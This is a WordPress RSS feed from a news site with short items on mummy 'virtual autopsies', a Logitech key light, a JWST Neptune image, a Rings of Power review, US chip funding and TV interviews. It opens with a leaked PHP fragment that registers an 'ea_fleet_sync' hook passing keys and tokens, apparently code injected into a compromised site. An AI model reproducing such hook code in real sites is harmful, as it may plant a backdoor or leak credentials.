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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); reveals – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 23 Sep 2022 02:49:05 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png reveals – Brief News https://briefnews.eu 32 32 The case of the murdered mummies: “virtual autopsy” reveals fatal injuries https://briefnews.eu/the-case-of-the-murdered-mummies-virtual-autopsy-reveals-fatal-injuries/ https://briefnews.eu/the-case-of-the-murdered-mummies-virtual-autopsy-reveals-fatal-injuries/#respond Fri, 23 Sep 2022 02:49:05 +0000 https://briefnews.eu/the-case-of-the-murdered-mummies-virtual-autopsy-reveals-fatal-injuries/
Face and upper body of one of two South American mummies that were likely murdered, based on a recent "virtual autopsy."

Enlarge / Face and upper body of one of two South American mummies that were likely murdered, based on a recent “virtual autopsy.” (credit: A-M Begerock et al., 2022)

An international team of scientists used CT scanning to conduct “virtual autopsies” of three South American mummies and found evidence of fatal trauma in two of them, according to a recent paper published in the journal Frontiers in Medicine. One of the mummies had clearly been hit on the head and stabbed, possibly by two assailants, while the other showed signs of massive cervical spine trauma. The third female mummy also showed signs of trauma, but the damage was inflicted post-mortem. The study is part of ongoing efforts to determine the frequency of violence in prehistoric human societies.

According to the authors, there is a large database of ancient Egyptian mummies and skeletons that show signs of having suffered a traumatic injury, but there is far less data for South American mummies, many of which formed naturally and are exceptionally well-preserved. Nonetheless, evidence of fatal trauma has been reported previously in a few cases, such as a pre-Columbian skull from the Nasca region showing rational trauma to the cervical spine and accompanying soft tissue bleeding into the skull. An almost complete female mummy showed signs of facial bone fractures consistent with massive strikes from a weapon, as did the skull of a mummified male infant.

An extensive 1993 survey used conventional X-rays to analyze 63 mummies and mummy fragments, 11 of which showed signs of trauma to the skull. But those mummies came from different locations, populations, and time periods, making it difficult to draw general conclusions from the findings. Last year, researchers looked for signs of violence in the remains of 194 adults buried between 2,800 and 1,400 years ago in the Atacama desert of northern Chile, 40 of which appeared to have been the victims of brutal violence.

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]]> https://briefnews.eu/the-case-of-the-murdered-mummies-virtual-autopsy-reveals-fatal-injuries/feed/ 0 Logitech reveals a $100 Litra Beam key light for creators https://briefnews.eu/logitech-reveals-a-100-litra-beam-key-light-for-creators/ https://briefnews.eu/logitech-reveals-a-100-litra-beam-key-light-for-creators/#respond Wed, 21 Sep 2022 16:14:11 +0000 https://briefnews.eu/logitech-reveals-a-100-litra-beam-key-light-for-creators/ Logitech has unveiled two new products aimed at creators, including one designed to help them look their best while streaming or recording videos. Litra Beam is a key light that has a three-way adjustable desktop stand, which should help you find the right height, tilt and rotation for your needs. Logitech notes that, by adding one or more of the lights to their setup, creators can employ various lighting techniques, such as Front, Split, Butterfly or Rembrandt.

The key light employs TrueSoft tech. According to Logitech, that helps to provide "balanced, full-spectrum LED light with cinematic color accuracy for a natural, radiant look across all skin tones." The company also claims the Litra Beam can do away with harsh shadows thanks to its frameless diffuser. Since it can run on either USB or AC power, you'll have more flexibility over where to place the device.

There are buttons on the rear, which provide a way to quickly switch between five brightness and five color temperature settings. Alternatively, you can control the Litra Beam via the Logitech G Hub desktop app. From here, you can tweak brightness by percentage value, adjust the color temperature by Kelvins, control multiple key lights at the same time and manage presets.

Logitech Blue Sona XLR microphone attached to a stand with a person speaking into it.
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You might want your streams, videos and calls to sound good too. Logitech also announced a Blue Sona XLR broadcast mic. It has a built-in preamp that offers a +25dB gain boost, a dual-diaphragm capsule and supercardioid pickup pattern (designed to reduce or eliminate background noise) and a 290-degree swivel mount. It's available in graphite and off-white finishes with swappable red and graphite windscreens.

The Litra Beam, which follows the $ 60 Litra Glow light Logitech announced earlier this year, won't break the bank. It costs $ 100/£99/€119, so it's perhaps a more budget-friendly alternative to Elgato's lights. As for the Blue Sona, that will run you $ 350/£329/€349. Both products are available starting today in the US, Canada and some European countries.

]]> https://briefnews.eu/logitech-reveals-a-100-litra-beam-key-light-for-creators/feed/ 0 New JWST image reveals full glory of Neptune, its moons, and rings https://briefnews.eu/new-jwst-image-reveals-full-glory-of-neptune-its-moons-and-rings/ https://briefnews.eu/new-jwst-image-reveals-full-glory-of-neptune-its-moons-and-rings/#respond Wed, 21 Sep 2022 15:02:05 +0000 https://briefnews.eu/new-jwst-image-reveals-full-glory-of-neptune-its-moons-and-rings/
Webb captured seven of Neptune’s 14 known moons: Galatea, Naiad, Thalassa, Despina, Proteus, Larissa, and Triton. Neptune’s large and unusual moon, Triton, dominates this Webb portrait of Neptune as a very bright point of light sporting diffraction spikes.

Enlarge / Webb captured seven of Neptune’s 14 known moons: Galatea, Naiad, Thalassa, Despina, Proteus, Larissa, and Triton. Neptune’s large and unusual moon, Triton, dominates this Webb portrait of Neptune as a very bright point of light sporting diffraction spikes. (credit: NASA, ESA, CSA, STScI)

Scientists are wasting no time in pointing the powerful new James Webb Space Telescope all over the Universe, as well as into our own backyard. Recently, astronomers took data on the eighth planet from the Sun in our Solar System, Neptune. NASA released the first images of this world on Wednesday.

The third-largest planet in our Solar System, Neptune often appears bright blue in images due to the presence of gaseous methane. The Webb telescope, however, observes light in the infrared portion of the spectrum, so its “Near-Infrared Camera” photos show a ghostly white planet. This is because the methane in Neptune’s atmosphere absorbs reddish and infrared light.

In the new view of Neptune, the exception to this is the planet’s high-altitude methane ice clouds, which reflect sunlight before it can be absorbed by the methane. These appear as brilliant, bright features, NASA says.

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]]> https://briefnews.eu/ea-reveals-apex-legends-global-series-year-3-plans/feed/ 0 The Lord Of The Rings: The Rings Of Power Reveals The Enemy’s Plan And Teases A New Threat https://briefnews.eu/the-lord-of-the-rings-the-rings-of-power-reveals-the-enemys-plan-and-teases-a-new-threat/ https://briefnews.eu/the-lord-of-the-rings-the-rings-of-power-reveals-the-enemys-plan-and-teases-a-new-threat/#respond Fri, 09 Sep 2022 11:27:45 +0000 https://briefnews.eu/the-lord-of-the-rings-the-rings-of-power-reveals-the-enemys-plan-and-teases-a-new-threat/

If you’ve watched one Middle-earth tale, then you’ve watched them all, right? By now, you’d have to be actively avoiding the fantasy genre as a whole if you wanted to stay blissfully unaware of the rules of engagement here. When adapting the writing of J.R.R. Tolkien, you can expect lots of walking, lots of lore and backstory, and a whole lot of talk about good vs unambiguous evil. And in the two-episode premiere of “The Lord of the Rings: The Rings of Power,” that’s exactly what we got. As /Film’s Chris Evangelista put it succinctly in his review of the first pair of episodes:

‘”The Rings of Power’ can’t escape the shadow of Peter Jackson’s ‘Lord of the Rings’ trilogy. In fact, I’m not even sure the show wants to distance itself … And to be fair, if it ain’t broke, don’t fix it.”

It can be particularly tricky for a new series to burst out of the starting gate at full speed, especially when the first couple of table-setting hours tend to come with the crushing weight of mountains of exposition, a bevy of character introductions, and an overall mandate to establish the tone in a way that will hook viewers and keep them coming back. That’s hardly an easy task, but showrunners J.D. Payne and Patrick McKay understood the challenge of adapting some seriously complex material. Rather than benefiting from an entire trilogy of novels, as Jackson did, the creative team behind “The Rings of Power” are relying on a collection of notes, excerpts, and rather straightforward descriptions of what went down during the Second Age of Middle-earth history, most of which are found in the appendices affixed to the end of “The Return of the King.” Despite such vast differences in source material, however, “The Rings of Power” has certainly tried to feel of a piece with the trilogy that defined the look and feel of this world for most audiences.

Until episode 3, titled “Adar,” finally shook things up. The end result produced a brand new setting, a more focused storyline, and a big villain reveal (or, more accurately, two of them) that might change Middle-earth in ways we’ve never seen before.

Paradise Or Prison?

Narrowing the scope of the story and neatly splitting the action between far-flung locations, “Adar” hurries to resolve the twin cliffhangers that ended episode 2. After briefly checking in with poor Arondir (Ismael Cruz Córdova), now a captive in an orc-run labor camp (many of whom speak of a mysterious “Adar” in hushed tones) along with the missing villagers of Hordern and his own regiment of elven soldiers, the bulk of the hour dedicates itself to the plight of Galadriel (Morfyyd Clark) and Halbrand (Charlie Vickers). Rescued from certain death in the Sundering Seas by a ship captain with uncertain motives, it soon dawns on the unlikely pair that they’ve been brought to the island kingdom of Númenor to await the judgment of the suspicious Queen Regent Miriel (Cynthia Addai-Robinson) and her advisor Pharazôn (Trystan Gravelle).

Even for those unfamiliar with the backstory of Númenor, the stirring sequence bringing us into the realm immediately conveys just how significant this new locale will be. Borrowing from our conception of Rome at the peak of the empire and the myth of seafaring Atlantis, the visual design of the sprawling city also evokes our recollections of Gondor in “The Lord of the Rings” — down to massive and similarly-fashioned statues (this is the part where nerds like me poked the person sitting next to them and whispered, “That’s like the Argonath!“), architecture, and even a strikingly Minas Tirith-looking building complete with a white tree of its own. This choice makes perfect sense, mind you, as these inhabitants are the ancestors of characters like Boromir and Aragorn. Taken together, there might as well be a flashing neon sign telling us that Númenor is a big, big deal.

Not that Galadriel got the memo, of course. She and Halbrand are immediately set at odds: Galadriel refuses to remain a prisoner of haughty humans who only reside on that island thanks to the charity of elves, having once allied themselves with elves of the First Age against Morgoth and been rewarded for their efforts with Númenor. While she’s eager to return to the mainland to continue her hunt for Sauron, the Southlander Halbrand sees this “paradise” as a potential fresh start. Little do they know that Númenor contains secrets with wide-ranging implications for both of them, just waiting to be unleashed.

A Conspiracy Unmasked

For Galadriel and Halbrand, things don’t turn out as they’d assumed. Since the isolationist Númenoreans essentially cut all ties with their former elf allies long ago, Galadriel is scorned as an outsider and an unwanted presence and already plans to sneak her way off the island … until that same ship captain who initially rescued her, the “elf-friend” Elendil (Lloyd Owen), becomes an unexpected source of friendship and offers her an alternative path forward. In the Hall of Laws, the mystery of Sauron’s mysterious symbol is answered — though in somewhat clunky fashion. According to an old document that’s uncovered just a little too conveniently, Sauron’s orcs have enacted a backup plan created in the event of Morgoth’s prior defeat. Galadriel then deduces the “sigil” is actually a map pointing towards the Southlands, corroborating Halbrand’s story from the last episode.

But as big of a bombshell as this is, why exactly Sauron would carve this map on the corpse of Galadriel’s brother in the premiere — or choose such an easily decipherable symbol in the first place — remains weirdly unclear.

While Galadriel is forging her new ally (between Richard Aramayo’s Elrond, Vickers’ Halbrand, and now Owen’s Elendil, I’ve simply accepted that Morfyyd Clark has simmering chemistry with everyone she encounters), Halbrand takes a slightly different route. After displaying some impressive diplomacy to keep the peace with the Queen Regent earlier in the episode, the unruly human soon finds himself showing off a very different skill set altogether. Denied the chance to join the prestigious forging guilds on the island nation, Halbrand soon attracts the attention of some of the more unsavory Númenoreans. Despite distracting them with drinks, his attempt to pickpocket a special guild token that would allow him entry doesn’t go unnoticed.

Most of the action to this point in the series has involved fantastical creatures, giving us a measure of distance from the violence, but this is the first time we really see someone let loose on fellow humans in genuinely bone-breaking fashion. The ill-advised brawl ends with him behind bars and Galadriel free on the other side, an amusing reversal of fortunes that’s further compounded when we discover Halbrand’s the long-lost king of the Southlands. With both looking for a chance at redemption, the script strengthens the thematic bonds between both characters and sets them up for an exciting storyline to come.

Of Migrating Harfoots And Prison-Breaking Elves

One drawback of these sorts of sprawling ensemble shows comes from the fact that most episodes simply can’t afford to spread themselves too thin by checking in with each and every character. That means that, after receiving much of the spotlight last week, Elrond and Prince Durin (Owain Arthur) completely sit out the action this time around. As for our lovable Harfoot clan, it takes nearly 40 minutes before we catch up with the drama involving Nori (Markella Kavenagh), Poppy (Megan Richards), and the enigmatic Stranger (Daniel Weyman) on the eve of the Harfoots’ planned migration. And sprinkled throughout the hour, we follow Arondir’s increasingly desperate attempts to free himself and his fellow prisoners from the sinister orcs.

These two storylines are linked by the idea of how far individuals will go to stick their necks out for another person — whether they owe them such selflessness and self-sacrifice or not.

Among the diminutive Hobbit ancestors, this takes the form of Nori remaining hellbent on assisting the Stranger at all costs. Despite his impressive star-related display last week resulting in the ominous deaths of all those fireflies, the helpful Harfoot concocts a harebrained scheme to break into Sadoc’s (Lenny Henry) book of mystical star charts and give the Stranger another tool to figure out where he needs to go. In a much-needed breaking of tension, we get one of the funniest sequences in the show so far when Poppy tries to give incognito directions to Nori while she fumbles around to grab the charts from right behind Sadoc’s back … even if it’s all for naught when everyone finds out about the Stranger anyway. Who says Middle-earth has to be all doom and gloom, all the time?

In the filthy hovel the orcs force their prisoners to dig out, Arondir finds out the hard way that cruelty and death can be meted out at a moment’s notice. Despite their valiant efforts, the senseless murders of fellow elves Médhor (Augustus Prew) and the watchwarden Revion (Simon Merrells) breaks something in Arondir. This bleak sequence ends without much hope, in stark contrast to the Harfoots earning the assistance of the Stranger as they migrate to a new home, as the eponymous and obviously villainous Adar finally makes its appearance in the closing moments.

Sauron isn’t the only threat our heroes will have to contend with.

Riddles In The Dark And Other Stray Thoughts

  • The Music of Middle-earth: Before we go any further, how about three hearty cheers for the continually impressive musical work by Bear McCreary? Sure, certain themes hew a little too close for comfort to composer Howard Shore’s work on “The Lord of the Rings,” particularly the deep horns and bellowing choir used for the dwarf sequences in Khazad-dûm. But it’s hard to complain much when major characters, notable setting, and even moods are all differentiated by memorable and wonderfully distinct scores. This episode’s highlight has to be the new theme introduced for Númenor, one that feels like a perfect companion piece to the trumpet-filled Gondorian theme used throughout Peter Jackson’s trilogy.
  • A Smooth Transition: On a similar note, director Wayne Che Yip (“Preacher,” “Doctor Who,” “The Wheel of Time”) steps up to fill the big shoes left by episodes 1 and 2 director J.A. Bayona and doesn’t miss a single step. Despite the episode taking the action from confined interior sets to open-air cities to stunning on-location photography, the highly-charged emotions of all the characters involved remain at the forefront. The attempted prison break from the orc camp and the beautifully staged nighttime scenes with the Harfoots are both clear standouts.
  • A Bad Case of Sunburn: Speaking of orcs, Tolkien aficionados like myself — a notoriously hard-to-please group of grumps — will surely be happy with a couple of things here. First, the gloriously practical designs of these orcs instantly call back to some of the best and most disgusting counterparts in “The Lord of the Rings.” That tactile and lived-in feel was sorely missed in “The Hobbit” movies, so it’s great to see that emphasized here. Secondly, how about these orcs having an intense physical reaction to sunlight? Tolkien famously described the orcs suffering from the same phenomenon in his novels, but we’ve never quite seen it depicted as dramatically as this. Even better, it leads to a few clever tactical advantages that Arondir takes advantage of.
  • Speech! When Sadoc steps up to deliver his speech the night before the Harfoots break camp, how many of us thought of Bilbo’s birthday speech in front of a similarly lively crowd of Hobbits at the beginning of “The Fellowship of the Ring”? This one took a much more melancholy turn than that other scene, with the older Harfoot detailing all those left behind on previous migrations and hinting at just how tough life has been for this group of people. One poignant zoom-in on Poppy when Sadoc reads a particular name says a lot about her upbringing without the otherwise comedic character needing to say a word.
  • Familiar Faces: There wasn’t much room to discuss some other minor characters introduced in this episode, but your eyes should’ve perked up once we met Elendil’s discontented son Isildur (Maxim Baldry), his sister Eärien (played by Ema Horvath in a role invented for the series), and the name-drop of his brother Anárion. Both brothers end up playing massive roles during this time in Middle-earth history, with Isildur, in particular, going on to influence the events of “The Lord of the Rings” in profound ways — go back and watch the prologue of “The Fellowship of the Ring” if you need a reminder. The scene of domestic squabbling between Elendil and his children indicates a potentially intriguing role for all these characters moving forward.
  • Adar who? Okay, time to address the Oliphaunt in the room. Just who the heck is the Adar in the episode’s title supposed to be? Rumors have swirled for months and even years regarding this mystery character. I’m sure I wasn’t the only one frustrated when the episode ends with only a fuzzy, out-of-focus shot at Adar’s eerily humanoid-looking face. However, eagle-eyed viewers may have already spotted more footage of him in various trailers. In any case, chances are this isn’t Sauron, but a look at some old Elvish translations might provide some answers. Adar apparently means “Father” and given the character’s apparent leadership role among the orcs, well, I’ll let you connect the dots there.

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]]> https://briefnews.eu/the-lord-of-the-rings-the-rings-of-power-reveals-the-enemys-plan-and-teases-a-new-threat/feed/ 0 Biden administration reveals details of its $50 billion chip investment plan https://briefnews.eu/biden-administration-reveals-details-of-its-50-billion-chip-investment-plan/ https://briefnews.eu/biden-administration-reveals-details-of-its-50-billion-chip-investment-plan/#respond Tue, 06 Sep 2022 14:49:00 +0000 https://briefnews.eu/biden-administration-reveals-details-of-its-50-billion-chip-investment-plan/ The Biden administration has revealeddetails of how it plans to invest $ 50 billion into kickstarting the US semiconductor industry, a month after President Joe Biden signed the CHIPS and Science Act. The Commerce Department says the funding will "revitalize the domestic semiconductor industry and spur innovation while creating good-paying jobs in communities across the country."

Over half (roughly $ 28 billion) of the CHIPS for America Fund has been earmarked for boosting production of logic and memory chips in the US using the most advanced processes available. The agency plans to disburse the funds through grants and loans, which will be used to build and expand facilities for making, testing, assembling and packaging chips.

The government is looking to ramp up production of older chips as well. Approximately $ 10 billion will go toward building semiconductors for cars, communications tech, medical devices and defense, as well as other critical commercial sectors. On top of that, the Commerce Department says $ 11 billion of the funding will go into research and development.

The agency plans to start accepting applications by early February. It says loans and grants will be provided on a rolling basis, as soon as it can "responsibly" process, evaluate and negotiate applications. Commerce Secretary Gina Raimondo told The New York Times that the department could start releasing the funds as soon as next spring.

It will likely take a few years before domestic production of chips meaningfully increases, as it will take some time to build or expand semiconductor fabs. The impact of the CHIPS and Science Act, which passed with bipartisan support, could help mitigate any fallout from tensions between the US and China over Taiwan, where more than two thirds of the most advanced semiconductors are built. The Commerce Department notes that the US currently makes "zero percent" of the planet's supply of state-of-the-art semiconductors, even though many are designed in the country.

]]> https://briefnews.eu/biden-administration-reveals-details-of-its-50-billion-chip-investment-plan/feed/ 0 The Mighty Ducks’ Lauren Graham Reveals Her Big Problem With Sports, Teases Possible New Collaboration With Amy Sherman-Palladino https://briefnews.eu/the-mighty-ducks-lauren-graham-reveals-her-big-problem-with-sports-teases-possible-new-collaboration-with-amy-sherman-palladino/ https://briefnews.eu/the-mighty-ducks-lauren-graham-reveals-her-big-problem-with-sports-teases-possible-new-collaboration-with-amy-sherman-palladino/#respond Mon, 22 Mar 2021 14:25:47 +0000 https://briefnews.eu/the-mighty-ducks-lauren-graham-reveals-her-big-problem-with-sports-teases-possible-new-collaboration-with-amy-sherman-palladino/

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Lauren Graham‘s year-plus stint on Zoey’s Extraordinary Playlist came in very handy while shooting the pilot for The Mighty Ducks: Game Changers. In the closing moments of the Disney+ sequel series (premiering Friday), Graham’s unlikely hockey coach performs an impromptu ice dance that was as (intentionally) awkward as it was charming. It was also almost entirely self-choreographed.

“I had to learn a lot of choreography in a very short time on Zoey’s Playlist, so any kind of physical lack of confidence I had… that switch was already flipped,” Graham explains to TVLine. “So I just made it up. I tried to approach the number with a sense of fun and freedom… and a lot of upper body.” While noting with a laugh that “the feet aren’t entirely mine” — a stunt double supplied the fancy footwork — the action above the waist was all her.

Read on as Graham delves further into her Mighty Ducks experience, while also teasing a handful of projects in the pipeline (including, potentially, one with Gilmore Girls creator Amy Sherman-Palladino).

TVLINE | How much ice skating experience did you have coming into this?
My training was eighth grade birthday parties in Arlington, Virginia. [Laughs] I did a fair amount of skating as a Mighty Duckskid, just for fun. That’s part of what was appealing to me about this show— can I learn this new skill? There was a built in break between the first and second episodes, but that’s when [COVID] happened. And that break was supposed to be my intense skating boot camp, which I was really looking forward to. And then everything closed. So I wasn’t as good as I wanted to be. If we come back [for Season 2] I plan to improve.

TVLINE | What about hockey — were you a fan?
I was interested more in The Mighty Ducks [franchise than hockey itself]. And I like sports in general. I live with [boyfriend and former Parenthood co-star Peter Krause], who is a Minnesotan [so I have a real link and love for Minnesota [sports]. I’m in a fantasy football league, Michael. This is what’s happened to me.

TVLINE | What?
I know. This is all because of Peter. But the problem I always have with sports is someone loses, and that’s really upsetting to me. Even if it’s [the “other” team that loses], I just find it really harrowing.

TVLINE | You clearly ignored the old Hollywood mantra about never working with kids and animals. Any trepidation about joining a show where the majority of the cast members are… 
Thirteen year-olds? [Laughs] No. I’ve worked with a lot of kids in my time. I have developed lifelong friendships with many of them. It was a little bit jarring to walk into the [first] table read. I was like, “Wow, everyone’s 13-years-old.” One of the things I have evolved into [when choosing roles] is thinking more about the big picture. It’s not just the part — it’s what is the endeavor. I was drawn to Disney+ as an entity. I was drawn to [only doing] 10 episodes [per season]. I was drawn to being a producer — and being tapped to direct if there’s a second season. It ticked a lot of boxes. And being a person who is sensitive to reboots, I’m hoping the audience will feel seen and respected.

TVLINE | What was your dynamic with your younger co-stars like?
I hit the jackpot because the kid I worked with most is [my onscreen son] Brady [Noon], who’s really funny and really sweet and smart. One day while we were shooting the first episode he was like, “Hey. I looked you up. People really like you. And they like the stuff you’ve done!” And I was like, “Did you think I was just some lady off the street?” And he said, “Kind of.” [Laughs] And then he gave me the highest compliment I have ever received in my entire career. He said, “I have worked with Sarah Silverman and you are the two funniest people I know.” I was like, “You’re wrong… but thank you.”

TVLINE | Mighty Ducks, like Zoey’s Playlist, shoots in Vancouver. But because of the pandemic, I’m assuming you couldn’t fly home to L.A. on weekends. Was this the longest period of time you had to be away from home for work?
[Sighs] Yes.

TVLINE | How was it?
It was terrible. [Laughs] I was [in Vancouver] from August 1 to December 15. Thank God [Zoey’s Playlist star] Jane [Levy] was down the street. And my friend Sam [Pancake] was there off and on. There’s a lot of production [in Vancouver] so I’d run into people I sort of know. But if I was ever feeling sorry for myself, I [reminded myself how] lucky I was that they continued [shooting Mighty Ducks during the pandemic] — and that I have any job at all.

TVLINE | Any collaborations with Amy coming up? She’s said she wants to find a role for you on The Marvelous Mrs. Maisel…
I don’t know about Maisel. I sort of wonder if it would take you out of [that world] to have me there. I leave that up to her. But we talk all the time. I was texting her yesterday. I think we’ll find something to work together on. I’m writing quite a bit. I feel like the more experience I have as a writer that that might be something we do [together], although it chills me to think about writing something with or for Amy. But she’s been an accidental — and now intentional — mentor in my writing, and I just think we have similar taste and vibe.

TVLINE | Any more books planned?
I’m working on another book of essays [tentatively] called Have I Told You This Already?, which is a companion piece to my first book of essays [Talking as Fast as I Can], but the subtitle is, “Stories I Don’t Want to Forget to Remember.” It’s about [pre- and] post-Gilmore life. You’ll be excited to hear I’m working on an essay right now called, “Boobs of the 90s,” which is about the year I moved to L.A. from New York. Having [touched on] the bigger events and Gilmore-related stuff in the first book, I’m now thinking in slightly deeper way about how I got started and what it’s like to work at this age and at this time.

TVLINE | Were you able to squeeze in another Season 2 Zoey’s cameo while you were in Vancouver?
No. Someone on my team [at Mighty Ducks] tested positive [for COVID in the fall] so I had to quarantine again in the middle of production. And it just [wiped out] all of my days off, [including all of] my skate-training days; any flexibility there was [in my schedule] was gone. I hope to come back, because I really enjoyed that show and I love Jane. I think there’s hope.

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]]> https://briefnews.eu/the-mighty-ducks-lauren-graham-reveals-her-big-problem-with-sports-teases-possible-new-collaboration-with-amy-sherman-palladino/feed/ 0 Law & Order: SVU Reveals ‘Emotional’ Nature of Barba’s January Return https://briefnews.eu/law-order-svu-reveals-emotional-nature-of-barbas-january-return/ https://briefnews.eu/law-order-svu-reveals-emotional-nature-of-barbas-january-return/#respond Tue, 29 Dec 2020 04:13:29 +0000 https://briefnews.eu/law-order-svu-reveals-emotional-nature-of-barbas-january-return/

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Law & Order: SVU is bringing back former ADA Rafael Barba for an “emotional courtroom battle,” NBC revealed on Monday.

Series vet Raúl Esparza’s return had been touted earlier this month by the network, which shared on Instagram, “We’ve already got something for you to look forward to. Barba returns to #SVU in 2021.”

Now, the official synopsis for Esparza’s encore has been released. In the episode “Sightless in a Savage Land” — which marks the procedural’s post-holiday comeback, airing Thursday, Jan. 7 — “The squad spends New Year’s Eve tracking down an Amber Alert, and Carisi faces off against Counselor Rafael Barba in an emotional courtroom battle.”

Hmm, Barba vs. Carisi — who is your money on?

Also guest-starring in the fourth episode of Season 22 are Bhavesh Patel (The Good Wife), Brett Parks (The Punisher) and teenage actress Vanessa Carrasco.

Esparza joined the lonnnng-running crime drama early in Season 14 and exited midway through Season 19, when DA Jack McCoy tried Barba for murder (after he disconnected the life support for a comatose infant with indecisive parents). Though Barba was found not guilty, the experience prompted him to quit his job; he was replaced by former Chicago ASA Peter Stone.

Esparza made a cameo midway through last season, when Barba Skyped with Benson from his new gig: investigating voter fraud in Iowa.

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Netflix’s newest romantic comedy is fun, addictive and an excellent reminder of the power of pen on paper in a world dominated by social media. But more than any of that, it’s Christmas porn.

Set and filmed in New York City at Christmastime (production wrapped in December 2019), Dash & Lily is a bittersweet escape into a pre-pandemic holiday wonderland, one where differences are forgotten, love conquers all and you never know when you might find yourself at a Jonas Brothers concert.

Star Austin Abrams always knew that the New-York-at-Christmas aspect of the show would be a huge draw, noting that showrunner Joe Tracz was “adamant about all the locations being as authentic a possible,” but he could never have predicted the additional emotional value of displaying a world without the coronavirus. “That turned out to be one of the show’s biggest strengths, which we had no idea was going to happen,” Abrams tells TVLine. “But I am happy that it does supply people with that nostalgic feeling.”

The magic begins in Episode 1 at famed NYC bookstore The Strand, where Abrams’ character — a wealthy, mildly pretentious teenage Grinch named Dash — discovers a mysterious red notebook left by a romantic, Christmas-loving stranger named Lily (played by Midori Francis). She promises to reveal more about herself if he completes a series of dares, from doing a dramatic reading of Joni Mitchell’s “River” in front of the entire bookstore to boldly carrying around a copy of The Joys of Gay Sex. Any way you shake it, it’s hardly a typical experience at The Strand.

“It was crazy to be in these places and have free rein,” Abrams says of the many iconic New York landmarks featured in the show’s first season, from Macy’s Herald Square to Grand Central Station. “You’re used to walking through tons of people everywhere, so it was really crazy to be able to walk around and have it all to yourself.”

Following a failed sting operation and a traumatic brawl with a department store Santa, Dash ends the premiere on a high note, having finally nabbed a clue about Lily’s secret identity — her first name. What transpires in the following handful of episodes is an endearing back-and-forth between two people who won’t meet face-to-face for quite some time.

“The production schedule very much mirrored the show in that aspect,” Abrams says. “I’d show up to shoot my scenes, and [Midori] would leave. Then it would be her turn, and I’d leave. So it was very similar to how the show is. She and I have such a great connection, so I wish we had more scenes together, but I do love that the audience gets to put everything together along with the characters.”

Will you follow Dash & Lily‘s romantic adventure — based on David Levithan and Rachel Cohn’s young-adult book series — to its potentially happy conclusion? Grade the premiere below, then drop a comment with your thoughts on the series.

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The third season of Yellowstone concluded earlier this year and featured an impressive shake-up of the show’s format. Ahead of its fourth season returning to Paramount and Peacock, Taylor Sheridan has opened up about the daunting task of juggling the Duttons’ multiple storylines.

Season three of Paramount Network’s Yellowstone featured plenty of surprises, which all came to a head in the explosive last minutes of the season finale.

In episode ten, The World Is Purple, John Dutton (played by Kevin Costner) and his family fell victim to a series of brutal coordinated attacks.

As filming of the fourth season continues in Montana, fans are preparing for a visceral revenge plot to kick off the upcoming instalment.

Meanwhile, co-creator and showrunner Taylor Sheridan has touched on the major changes he made to the series’ format this year.

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Drawing from his work writing and directing popular neo-Westerns Hell or High Water and Wind River, Sheridan tackled a sprawling family history in Yellowstone’s 2020 comeback.

Millions of fans tuned in each week to discover more about the wealthy ranch owners, including a devastating reveal about Jamie Dutton’s (Wes Bentley) past. 

Not only was the successful attorney revealed to be adopted in the latest season, but flashbacks also revealed his fraught history with his sister, Beth (Kelly Reilly).

Additionally, the series set the tone with a heart-wrenching scene in which John Dutton promised to secure his family’s legacy to his dying father (Dabney Coleman).

Upping the series’ use of flashbacks this year certainly produced a number of challenges, including the casting of newcomers Kylie Anne Rogers and Dalton Baker to play younger versions of Beth and Jamie.

However, Sheridan revealed flashbacks were the only way forward this season, as other storytelling methods may have dampened the gut-punch of this year’s huge reveals.

He continued: “Another way to do it is just have a monologue explaining the same thing, but it doesn’t have the impact of witnessing it. 

“It’s always more powerful to see it and feel the history of that family, and as I continue to employ it and will continue to do so, I think that it’s a great way for an audience to truly understand how this family came to be.”

Thankfully, the gamble paid off, and Yellowstone proved more popular than ever when season three broadcast on Paramount this year.

Sheridan also cited The Godfather Part II as an influence, adding: “It’s not unlike watching Don Corleone come over to New York at the turn of the century, interspersed with watching Al Pacino’s Michael Corleone fully embrace the power of his family.”

As the series so far is set to be added to NBC’s new streaming platform Peacock, the complex family saga could see an even bigger surge in viewership ahead of the season four premiere in 2021.

Yellowstone will return with season 4 in 2021 on Paramount and Peacock.

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